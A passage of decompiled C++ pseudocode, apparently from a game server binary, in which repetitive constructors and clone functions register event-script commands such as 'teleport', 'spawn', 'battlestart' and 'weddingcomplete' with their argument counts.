PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "abstatereset", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAbstatReset::_vftable_; } // 5B29F8: using guessed type int (__stdcall *PineEventScriptNode__ShineAbstatReset___vftable_)(int tr); //----- (004A9D10) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSuicide::ShineSuicide(PineEventScriptNode::ShineSuicide *this) { PineEventScriptNode::ShineSuicide *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "suicide", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSuicide::_vftable_; } // 5B2A1C: using guessed type int (__stdcall *PineEventScriptNode__ShineSuicide___vftable_)(int tr); //----- (004A9D30) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineRun::ShineRun(PineEventScriptNode::ShineRun *this) { PineEventScriptNode::ShineRun *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "run", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRun::_vftable_; } // 5B2A38: using guessed type int (__stdcall *PineEventScriptNode__ShineRun___vftable_)(int tr); //----- (004A9D50) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWalk::ShineWalk(PineEventScriptNode::ShineWalk *this) { PineEventScriptNode::ShineWalk *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "walk", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWalk::_vftable_; } // 5B2A50: using guessed type int (__stdcall *PineEventScriptNode__ShineWalk___vftable_)(int tr); //----- (004A9D70) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMapLight::ShineMapLight(PineEventScriptNode::ShineMapLight *this) { PineEventScriptNode::ShineMapLight *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "maplight", 0, 3, 3); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMapLight::_vftable_; } // 5B2A6C: using guessed type int (__stdcall *PineEventScriptNode__ShineMapLight___vftable_)(int tr); //----- (004A9D90) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMapFog::ShineMapFog(PineEventScriptNode::ShineMapFog *this) { PineEventScriptNode::ShineMapFog *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "mapfog", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMapFog::_vftable_; } // 5B2A8C: using guessed type int (__stdcall *PineEventScriptNode__ShineMapFog___vftable_)(int tr); //----- (004A9DB0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineEffectObject::ShineEffectObject(PineEventScriptNode::ShineEffectObject *this) { PineEventScriptNode::ShineEffectObject *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "effectobj", 1u, 4, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEffectObject::_vftable_; } // 5B2AA8: using guessed type int (__stdcall *PineEventScriptNode__ShineEffectObject___vftable_)(int tr); //----- (004A9DD0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineEffectLocate::ShineEffectLocate(PineEventScriptNode::ShineEffectLocate *this) { PineEventScriptNode::ShineEffectLocate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "effectloc", 1u, 6, 6); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEffectLocate::_vftable_; } // 5B2AC8: using guessed type int (__stdcall *PineEventScriptNode__ShineEffectLocate___vftable_)(int tr); //----- (004A9DF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineAggro::ShineAggro(PineEventScriptNode::ShineAggro *this) { PineEventScriptNode::ShineAggro *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "aggro", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAggro::_vftable_; } // 5B2AE8: using guessed type int (__stdcall *PineEventScriptNode__ShineAggro___vftable_)(int tr); //----- (004A9E10) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMobWeaponRate::ShineMobWeaponRate(PineEventScriptNode::ShineMobWeaponRate *this) { PineEventScriptNode::ShineMobWeaponRate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "mobweaponrate", 1u, 1, 8); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobWeaponRate::_vftable_; } // 5B2B04: using guessed type int (__stdcall *PineEventScriptNode__ShineMobWeaponRate___vftable_)(int tr); //----- (004A9E30) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMobDetectRange::ShineMobDetectRange(PineEventScriptNode::ShineMobDetectRange *this) { PineEventScriptNode::ShineMobDetectRange *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "mobdetectrange", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobDetectRange::_vftable_; } // 5B2B28: using guessed type int (__stdcall *PineEventScriptNode__ShineMobDetectRange___vftable_)(int tr); //----- (004A9E50) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineHeal::ShineHeal(PineEventScriptNode::ShineHeal *this) { PineEventScriptNode::ShineHeal *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "heal", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineHeal::_vftable_; } // 5B2B4C: using guessed type int (__stdcall *PineEventScriptNode__ShineHeal___vftable_)(int tr); //----- (004A9E70) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineAnimate::ShineAnimate(PineEventScriptNode::ShineAnimate *this) { PineEventScriptNode::ShineAnimate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "animate", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAnimate::_vftable_; } // 5B2B68: using guessed type int (__stdcall *PineEventScriptNode__ShineAnimate___vftable_)(int tr); //----- (004A9E90) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDuplicate::ShineDuplicate(PineEventScriptNode::ShineDuplicate *this) { PineEventScriptNode::ShineDuplicate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "duplicate", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDuplicate::_vftable_; } // 5B2B84: using guessed type int (__stdcall *PineEventScriptNode__ShineDuplicate___vftable_)(int tr); //----- (004A9EB0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWaitIdle::ShineWaitIdle(PineEventScriptNode::ShineWaitIdle *this) { PineEventScriptNode::ShineWaitIdle *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "waitidle", 0, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitIdle::_vftable_; } // 5B2BA4: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitIdle___vftable_)(int tr); //----- (004A9ED0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDeathCountClear::ShineDeathCountClear(PineEventScriptNode::ShineDeathCountClear *this) { PineEventScriptNode::ShineDeathCountClear *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "deathcountclear", 0, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDeathCountClear::_vftable_; } // 5B2BC4: using guessed type int (__stdcall *PineEventScriptNode__ShineDeathCountClear___vftable_)(int tr); //----- (004A9EF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineItemAttrSet::ShineItemAttrSet(PineEventScriptNode::ShineItemAttrSet *this) { PineEventScriptNode::ShineItemAttrSet *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "itemattrset", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemAttrSet::_vftable_; } // 5B2BE8: using guessed type int (__stdcall *PineEventScriptNode__ShineItemAttrSet___vftable_)(int tr); //----- (004A9F10) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineScinarioCode::ShineScinarioCode(PineEventScriptNode::ShineScinarioCode *this) { PineEventScriptNode::ShineScinarioCode *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "scinariocode", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineScinarioCode::_vftable_; } // 5B2C08: using guessed type int (__stdcall *PineEventScriptNode__ShineScinarioCode___vftable_)(int tr); //----- (004A9F30) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineBattleStart::ShineBattleStart(PineEventScriptNode::ShineBattleStart *this) { PineEventScriptNode::ShineBattleStart *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "battlestart", 1u, 0, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBattleStart::_vftable_; } // 5B2C2C: using guessed type int (__stdcall *PineEventScriptNode__ShineBattleStart___vftable_)(int tr); //----- (004A9F50) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineBattleStop::ShineBattleStop(PineEventScriptNode::ShineBattleStop *this) { PineEventScriptNode::ShineBattleStop *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "battlestop", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBattleStop::_vftable_; } // 5B2C4C: using guessed type int (__stdcall *PineEventScriptNode__ShineBattleStop___vftable_)(int tr); //----- (004A9F70) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSendKQResult::ShineSendKQResult(PineEventScriptNode::ShineSendKQResult *this) { PineEventScriptNode::ShineSendKQResult *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "sendquestresult", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSendKQResult::_vftable_; } // 5B2C6C: using guessed type int (__stdcall *PineEventScriptNode__ShineSendKQResult___vftable_)(int tr); //----- (004A9F90) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineInvidualReward::ShineInvidualReward(PineEventScriptNode::ShineInvidualReward *this) { PineEventScriptNode::ShineInvidualReward *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "invidualreward", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInvidualReward::_vftable_; } // 5B2C90: using guessed type int (__stdcall *PineEventScriptNode__ShineInvidualReward___vftable_)(int tr); //----- (004A9FB0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineReturnValue::ShineReturnValue(PineEventScriptNode::ShineReturnValue *this) { PineEventScriptNode::ShineReturnValue *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "returnvalue", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineReturnValue::_vftable_; } // 5B2CB4: using guessed type int (__stdcall *PineEventScriptNode__ShineReturnValue___vftable_)(int tr); //----- (004A9FD0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSubLayerShift::ShineSubLayerShift(PineEventScriptNode::ShineSubLayerShift *this) { PineEventScriptNode::ShineSubLayerShift *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "sublayershift", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSubLayerShift::_vftable_; } // 5B2CD4: using guessed type int (__stdcall *PineEventScriptNode__ShineSubLayerShift___vftable_)(int tr); //----- (004A9FF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineTeleport::ShineTeleport(PineEventScriptNode::ShineTeleport *this) { PineEventScriptNode::ShineTeleport *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "teleport", 1u, 1, 3); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTeleport::_vftable_; } // 5B2CF8: using guessed type int (__stdcall *PineEventScriptNode__ShineTeleport___vftable_)(int tr); //----- (004AA010) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineItemOwner::ShineItemOwner(PineEventScriptNode::ShineItemOwner *this) { PineEventScriptNode::ShineItemOwner *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "itemowner", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemOwner::_vftable_; } // 5B2D18: using guessed type int (__stdcall *PineEventScriptNode__ShineItemOwner___vftable_)(int tr); //----- (004AA030) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMobAttribute::ShineMobAttribute(PineEventScriptNode::ShineMobAttribute *this) { PineEventScriptNode::ShineMobAttribute *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "mobattr", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobAttribute::_vftable_; } // 5B2D38: using guessed type int (__stdcall *PineEventScriptNode__ShineMobAttribute___vftable_)(int tr); //----- (004AA050) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineObjectCollect::ShineObjectCollect(PineEventScriptNode::ShineObjectCollect *this) { PineEventScriptNode::ShineObjectCollect *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "collect", 1u, 4, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineObjectCollect::_vftable_; } // 5B2D54: using guessed type int (__stdcall *PineEventScriptNode__ShineObjectCollect___vftable_)(int tr); //----- (004AA070) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineEndOfKingdomQuest::ShineEndOfKingdomQuest(PineEventScriptNode::ShineEndOfKingdomQuest *this) { PineEventScriptNode::ShineEndOfKingdomQuest *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "endofkq", 0, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEndOfKingdomQuest::_vftable_; } // 5B2D70: using guessed type int (__stdcall *PineEventScriptNode__ShineEndOfKingdomQuest___vftable_)(int tr); //----- (004AA090) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineEndOfGuildTournament::ShineEndOfGuildTournament(PineEventScriptNode::ShineEndOfGuildTournament *this) { PineEventScriptNode::ShineEndOfGuildTournament *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "endofgt", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEndOfGuildTournament::_vftable_; } // 5B2D8C: using guessed type int (__stdcall *PineEventScriptNode__ShineEndOfGuildTournament___vftable_)(int tr); //----- (004AA0B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineGuildTorunamentResult::ShineGuildTorunamentResult(PineEventScriptNode::ShineGuildTorunamentResult *this) { PineEventScriptNode::ShineGuildTorunamentResult *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "gtresult", 1u, 1, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineGuildTorunamentResult::_vftable_; } // 5B2DA8: using guessed type int (__stdcall *PineEventScriptNode__ShineGuildTorunamentResult___vftable_)(int tr); //----- (004AA0D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineCostumeCreate::ShineCostumeCreate(PineEventScriptNode::ShineCostumeCreate *this) { PineEventScriptNode::ShineCostumeCreate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "costumecreate", 1u, 3, 3); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineCostumeCreate::_vftable_; } // 5B2DC8: using guessed type int (__stdcall *PineEventScriptNode__ShineCostumeCreate___vftable_)(int tr); //----- (004AA0F0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineCostumeTakeOff::ShineCostumeTakeOff(PineEventScriptNode::ShineCostumeTakeOff *this) { PineEventScriptNode::ShineCostumeTakeOff *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "costumetakeoff", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineCostumeTakeOff::_vftable_; } // 5B2DEC: using guessed type int (__stdcall *PineEventScriptNode__ShineCostumeTakeOff___vftable_)(int tr); //----- (004AA110) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWeddingComplete::ShineWeddingComplete(PineEventScriptNode::ShineWeddingComplete *this) { PineEventScriptNode::ShineWeddingComplete *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "weddingcomplete", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWeddingComplete::_vftable_; } // 5B2E10: using guessed type int (__stdcall *PineEventScriptNode__ShineWeddingComplete___vftable_)(int tr); //----- (004AA130) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShinePlayerWalk::ShinePlayerWalk(PineEventScriptNode::ShinePlayerWalk *this) { PineEventScriptNode::ShinePlayerWalk *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "playerwork", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePlayerWalk::_vftable_; } // 5B2E34: using guessed type int (__stdcall *PineEventScriptNode__ShinePlayerWalk___vftable_)(int tr); //----- (004AA150) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineFindPlayer::ShineFindPlayer(PineEventScriptNode::ShineFindPlayer *this) { PineEventScriptNode::ShineFindPlayer *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "findplayer", 1u, 1, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineFindPlayer::_vftable_; } // 5B2E54: using guessed type int (__stdcall *PineEventScriptNode__ShineFindPlayer___vftable_)(int tr); //----- (004AA170) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineTeleportAll::ShineTeleportAll(PineEventScriptNode::ShineTeleportAll *this) { PineEventScriptNode::ShineTeleportAll *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "teleportall", 1u, 0, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTeleportAll::_vftable_; } // 5B2E74: using guessed type int (__stdcall *PineEventScriptNode__ShineTeleportAll___vftable_)(int tr); //----- (004AA190) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineBriefEffect::ShineBriefEffect(PineEventScriptNode::ShineBriefEffect *this) { PineEventScriptNode::ShineBriefEffect *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "briefeffect", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBriefEffect::_vftable_; } // 5B2E94: using guessed type int (__stdcall *PineEventScriptNode__ShineBriefEffect___vftable_)(int tr); //----- (004AA1B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineBanFromArea::ShineBanFromArea(PineEventScriptNode::ShineBanFromArea *this) { PineEventScriptNode::ShineBanFromArea *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "banfromarea", 0, 5, 5); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBanFromArea::_vftable_; } // 5B2EB4: using guessed type int (__stdcall *PineEventScriptNode__ShineBanFromArea___vftable_)(int tr); //----- (004AA1D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineRegesteFlag::ShineRegesteFlag(PineEventScriptNode::ShineRegesteFlag *this) { PineEventScriptNode::ShineRegesteFlag *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "RegisteFlag", 0, 3, 3); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegesteFlag::_vftable_; } // 5B2ED4: using guessed type int (__stdcall *PineEventScriptNode__ShineRegesteFlag___vftable_)(int tr); //----- (004AA1F0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineRegesteGate::ShineRegesteGate(PineEventScriptNode::ShineRegesteGate *this) { PineEventScriptNode::ShineRegesteGate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "RegisteGate", 0, 4, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegesteGate::_vftable_; } // 5B2EF4: using guessed type int (__stdcall *PineEventScriptNode__ShineRegesteGate___vftable_)(int tr); //----- (004AA210) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDiceGameStart::ShineDiceGameStart(PineEventScriptNode::ShineDiceGameStart *this) { PineEventScriptNode::ShineDiceGameStart *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "DiceGameStart", 0, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDiceGameStart::_vftable_; } // 5B2F14: using guessed type int (__stdcall *PineEventScriptNode__ShineDiceGameStart___vftable_)(int tr); //----- (004AA230) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineRevival::ShineRevival(PineEventScriptNode::ShineRevival *this) { PineEventScriptNode::ShineRevival *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "revival", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRevival::_vftable_; } // 5B2F38: using guessed type int (__stdcall *PineEventScriptNode__ShineRevival___vftable_)(int tr); //----- (004AA250) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSpawn::ShineSpawn(PineEventScriptNode::ShineSpawn *this) { PineEventScriptNode::ShineSpawn *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "spawn", 0, 1, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSpawn::_vftable_; } // 5B2F54: using guessed type int (__stdcall *PineEventScriptNode__ShineSpawn___vftable_)(int tr); //----- (004AA270) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineHPSet::ShineHPSet(PineEventScriptNode::ShineHPSet *this) { PineEventScriptNode::ShineHPSet *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "hpset", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineHPSet::_vftable_; } // 5B2F70: using guessed type int (__stdcall *PineEventScriptNode__ShineHPSet___vftable_)(int tr); //----- (004AA290) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePrintf::sb_CloneMe(PineEventScriptNode::ShinePrintf *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "printf", 0, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePrintf::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2580: using guessed type int (__stdcall *PineEventScriptNode__ShinePrintf___vftable_)(int tr); //----- (004AA2F0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineScriptFile::sb_CloneMe(PineEventScriptNode::ShineScriptFile *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "scriptfile", 0, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineScriptFile::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B259C: using guessed type int (__stdcall *PineEventScriptNode__ShineScriptFile___vftable_)(int tr); //----- (004AA350) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTimeLimit::sb_CloneMe(PineEventScriptNode::ShineTimeLimit *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "timelimit", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTimeLimit::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B25BC: using guessed type int (__stdcall *PineEventScriptNode__ShineTimeLimit___vftable_)(int tr); //----- (004AA3B0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptClear::sb_CloneMe(PineEventScriptNode::ShineInterruptClear *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "interruptclear", 0, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptClear::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B25DC: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptClear___vftable_)(int tr); //----- (004AA410) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptSet::sb_CloneMe(PineEventScriptNode::ShineInterruptSet *this) { void 